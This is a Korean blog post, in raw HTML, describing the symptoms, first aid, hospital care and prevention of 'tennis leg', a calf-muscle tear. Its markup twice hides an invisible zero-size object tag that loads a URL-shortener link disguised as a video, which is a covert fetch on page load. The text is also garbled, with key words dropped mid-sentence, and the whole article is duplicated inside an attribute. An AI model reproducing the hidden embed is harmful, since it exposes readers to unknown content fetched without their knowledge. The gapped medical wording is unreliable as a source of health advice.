종아리통증 터질듯한 통증 테니스레그 증상 & 응급처치

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4"></object> <div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:35">종아리통증, 터질 듯한 통증? 테니스 레그 과 응급처치</h2>테니스 레그란 무엇일까요?테니스 레그는 운동 중 갑자기 발생하는 종아리 근육의 손상을 의미합니다. 주로 종아리 근육 중 비복근이라는 부분이 파열되면서 나타나는데, 마치 종아리가 터질 듯한 극심한 통증을 유발합니다.테니스 레그의 주요 <ul data-sourcepos="9:1-13:0"> <li data-sourcepos="9:1-9:57">갑작스러운 격렬한 통증: 운동 중 갑자기 종아리 안쪽에 칼로 찌르는 듯한 통증이 발생합니다.</li> <li data-sourcepos="10:1-10:32">부종: 통증 부위가 붓고 멍이 들 수 있습니다.</li> <li data-sourcepos="11:1-11:34">보행 곤란: 통증 때문에 제대로 걷기 힘들어집니다.</li> <li data-sourcepos="12:1-13:0">근력 약화: 손상된 근육 부위의 힘이 약해져 발끝으로 서거나 계단을 오르내리기가 어려워집니다.</li> </ul>테니스 레그 응급처치<ul data-sourcepos="16:1-21:0"> <li data-sourcepos="16:1-16:44">휴식: 우선적으로 운동을 중단하고 통증 부위에 휴식을 취해야 합니다.</li> <li data-sourcepos="17:1-17:61">냉찜질: 부기와 염증을 가라앉히기 위해 얼음찜질을 해줍니다. (20분 찜질 후 10분 휴식을 반복)</li> <li data-sourcepos="18:1-18:42">압박: 탄력 붕대 등을 이용하여 통증 부위를 가볍게 압박해줍니다.</li> <li data-sourcepos="19:1-19:37">거상: 다리를 심장보다 높게 올려 부종을 완화시켜줍니다.</li> <li data-sourcepos="20:1-21:0">진통제: 통증이 심할 경우 의사와 상담 후 진통제를 복용할 수 있습니다.</li> </ul>주의사항<ul data-sourcepos="24:1-27:0"> <li data-sourcepos="24:1-24:49">절대 참지 마세요: 통증이 심하면 즉시 운동을 중단하고 휴식을 취해야 합니다.</li> <li data-sourcepos="25:1-25:58">자가진단은 금물: 한 진단을 위해 병원을 방문하여 전문의에게 진찰을 받는 것이 중요합니다.</li> <li data-sourcepos="26:1-27:0">방치하면 악화될 수 있습니다: 초기 가 중요하며, 방치할 경우 회복 기간이 길어지고 후유증이 남을 수 있습니다.</li> </ul>병원에서의 <ul data-sourcepos="30:1-35:0"> <li data-sourcepos="30:1-30:36">초음파 검사: 손상된 근육의 정도를 확인하기 위한 검사</li> <li data-sourcepos="31:1-31:31">약물 : 소염 진통제, 근이완제 등을 </li> <li data-sourcepos="32:1-32:39">물리 : 부종 감소, 통증 완화, 근력 강화를 위한 </li> <li data-sourcepos="33:1-33:44">보조기 착용: 손상된 부위를 보호하고 안정을 취하기 위한 보조기 착용</li> <li data-sourcepos="34:1-35:0">수술: 드물게 수술이 필요한 경우도 있습니다.</li> </ul>테니스 레그 예방<ul data-sourcepos="38:1-43:0"> <li data-sourcepos="38:1-38:51">충분한 스트레칭: 운동 전후 충분한 스트레칭을 통해 근육을 유연하게 만들어줍니다.</li> <li data-sourcepos="39:1-39:52">준비 운동: 운동 전 가벼운 유산소 운동과 스트레칭을 통해 몸을 충분히 풀어줍니다.</li> <li data-sourcepos="40:1-40:50">과도한 운동 자제: 무리한 운동은 피하고, 점진적으로 운동 강도를 높여나갑니다.</li> <li data-sourcepos="41:1-41:46">적절한 휴식: 충분한 휴식을 취하고, 피로가 누적되지 않도록 관리합니다.</li> <li data-sourcepos="42:1-43:0">적절한 신발 착용: 쿠션이 좋은 운동화를 신어 충격을 흡수합니다.</li> </ul>테니스 레그는 조기에 하면 빠른 회복이 가능합니다. 갑작스러운 종아리 통증이 느껴진다면, 가까운 병원을 방문하여 한 진단과 를 받는 것이 좋습니다.</div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:35">종아리통증, 터질 듯한 통증? 테니스 레그 과 응급처치</h2>테니스 레그란 무엇일까요?테니스 레그는 운동 중 갑자기 발생하는 종아리 근육의 손상을 의미합니다. 주로 종아리 근육 중 비복근이라는 부분이 파열되면서 나타나는데, 마치 종아리가 터질 듯한 극심한 통증을 유발합니다.테니스 레그의 주요 <ul data-sourcepos="9:1-13:0"> <li data-sourcepos="9:1-9:57">갑작스러운 격렬한 통증: 운동 중 갑자기 종아리 안쪽에 칼로 찌르는 듯한 통증이 발생합니다.</li> <li data-sourcepos="10:1-10:32">부종: 통증 부위가 붓고 멍이 들 수 있습니다.</li> <li data-sourcepos="11:1-11:34">보행 곤란: 통증 때문에 제대로 걷기 힘들어집니다.</li> <li data-sourcepos="12:1-13:0">근력 약화: 손상된 근육 부위의 힘이 약해져 발끝으로 서거나 계단을 오르내리기가 어려워집니다.</li> </ul>테니스 레그 응급처치<ul data-sourcepos="16:1-21:0"> <li data-sourcepos="16:1-16:44">휴식: 우선적으로 운동을 중단하고 통증 부위에 휴식을 취해야 합니다.</li> <li data-sourcepos="17:1-17:61">냉찜질: 부기와 염증을 가라앉히기 위해 얼음찜질을 해줍니다. (20분 찜질 후 10분 휴식을 반복)</li> <li data-sourcepos="18:1-18:42">압박: 탄력 붕대 등을 이용하여 통증 부위를 가볍게 압박해줍니다.</li> <li data-sourcepos="19:1-19:37">거상: 다리를 심장보다 높게 올려 부종을 완화시켜줍니다.</li> <li data-sourcepos="20:1-21:0">진통제: 통증이 심할 경우 의사와 상담 후 진통제를 복용할 수 있습니다.</li> </ul>주의사항<ul data-sourcepos="24:1-27:0"> <li data-sourcepos="24:1-24:49">절대 참지 마세요: 통증이 심하면 즉시 운동을 중단하고 휴식을 취해야 합니다.</li> <li data-sourcepos="25:1-25:58">자가진단은 금물: 한 진단을 위해 병원을 방문하여 전문의에게 진찰을 받는 것이 중요합니다.</li> <li data-sourcepos="26:1-27:0">방치하면 악화될 수 있습니다: 초기 가 중요하며, 방치할 경우 회복 기간이 길어지고 후유증이 남을 수 있습니다.</li> </ul>병원에서의 <ul data-sourcepos="30:1-35:0"> <li data-sourcepos="30:1-30:36">초음파 검사: 손상된 근육의 정도를 확인하기 위한 검사</li> <li data-sourcepos="31:1-31:31">약물 : 소염 진통제, 근이완제 등을 </li> <li data-sourcepos="32:1-32:39">물리 : 부종 감소, 통증 완화, 근력 강화를 위한 </li> <li data-sourcepos="33:1-33:44">보조기 착용: 손상된 부위를 보호하고 안정을 취하기 위한 보조기 착용</li> <li data-sourcepos="34:1-35:0">수술: 드물게 수술이 필요한 경우도 있습니다.</li> </ul>테니스 레그 예방<ul data-sourcepos="38:1-43:0"> <li data-sourcepos="38:1-38:51">충분한 스트레칭: 운동 전후 충분한 스트레칭을 통해 근육을 유연하게 만들어줍니다.</li> <li data-sourcepos="39:1-39:52">준비 운동: 운동 전 가벼운 유산소 운동과 스트레칭을 통해 몸을 충분히 풀어줍니다.</li> <li data-sourcepos="40:1-40:50">과도한 운동 자제: 무리한 운동은 피하고, 점진적으로 운동 강도를 높여나갑니다.</li> <li data-sourcepos="41:1-41:46">적절한 휴식: 충분한 휴식을 취하고, 피로가 누적되지 않도록 관리합니다.</li> <li data-sourcepos="42:1-43:0">적절한 신발 착용: 쿠션이 좋은 운동화를 신어 충격을 흡수합니다.</li> </ul>테니스 레그는 조기에 하면 빠른 회복이 가능합니다. 갑작스러운 종아리 통증이 느껴진다면, 가까운 병원을 방문하여 한 진단과 를 받는 것이 좋습니다.</div> </div></div>